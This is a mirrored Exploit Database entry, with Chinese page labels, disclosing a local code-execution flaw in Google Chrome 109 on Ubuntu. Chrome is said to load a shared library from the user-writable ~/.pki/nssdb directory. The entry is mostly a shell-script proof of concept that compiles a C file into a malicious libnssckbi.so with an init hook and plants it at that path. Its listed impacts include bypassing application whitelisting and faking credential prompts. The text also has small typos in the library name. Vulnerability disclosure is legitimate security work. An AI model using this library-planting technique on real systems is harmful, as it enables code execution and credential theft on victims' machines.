Google Chrome 109.0.5414.74 – Code Execution via missing lib file (Ubuntu)

• Exploit Database
• 77 阅读

• 作者： Rafay Baloch and Muhammad Samak
  日期： 2023-04-08
• 类别：

  • local
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/51331/

• #Exploit Title: Google Chrome109.0.5414.74 - Code Execution via missing lib file (Ubuntu)
  Product: Google Chrome
  Discovered by: Rafay Baloch and Muhammad Samak
  #Version: 109.0.5414.74
  #Impact: Moderate
  #Company: Cyber Citadel
  #Website: https://www.cybercitadel.com
  #Tested-on : Ubuntu 22.04.1
  
  *Description*
  
  Google chrome attempts to load the 'libssckbi.so' file from a user-writable location.
  PATH: /home/$username/.pki/nssdb/libnssckbi.so
  Since the Shared Library 'ibnssckbi.so' specified path is writeable.
  It is possible to achieve the Code Execution by placing the malicious file with 
  the name `libnssckbi.so` in the specified path.
  
  
  
  *exploit*
  
  Following is the POC that could be used to reproduce the issue:
  
  echo "\n\t\t\tGoogle-Chrome Shared Library Code Execution..."
  echo "[*] Checking /.pki/nssdb PATH"
  if [ -d "/home/haalim/.pki/nssdb" ]
  then
  
  	echo "[+] Directory Exists..."
  	if [ -w "/home/haalim/.pki/nssdb" ]
  	then
  echo "[+] Directory is writable..."
  
  		echo "[+] Directory is writable..."
  		echo "[+] Generating malicious File libnssckbi.so ..."
  			echo "#define _GNU_SOURCE" > /home/haalim/.pki/nssdb/exploit.c
  			echo "#include <unistd.h>" >> /home/haalim/.pki/nssdb/exploit.c
  			echo "#include <stdio.h>" >> /home/haalim/.pki/nssdb/exploit.c
  			echo "#include <stdlib.h>" >> /home/haalim/.pki/nssdb/exploit.c
  			echo "void f() {" >> /home/haalim/.pki/nssdb/exploit.c
  			echo 'printf("Code Executed............ TMGM :)\n");' >> /home/haalim/.pki/nssdb/exploit.c
  			echo "}" >> /home/haalim/.pki/nssdb/exploit.c
  			gcc -c -Wall -Werror -fpic /home/haalim/.pki/nssdb/exploit.c -o /home/haalim/.pki/nssdb/exploit.o 
  			gcc -shared -o /home/haalim/.pki/nssdb/libnssckbi.so -Wl,-init,f /home/haalim/.pki/nssdb/exploit.o 
  
  
  	fi
  
  fi
  
  Upon closing the browser windows, the application executes the malicious code
  
  
  *Impact*
  
  The attacker can use this behavior to bypass the application whitelisting rules.
  This behavior can also lead to DoS attacks.
  An attacker can trick a victim into supplying credentials by creating a fake prompt.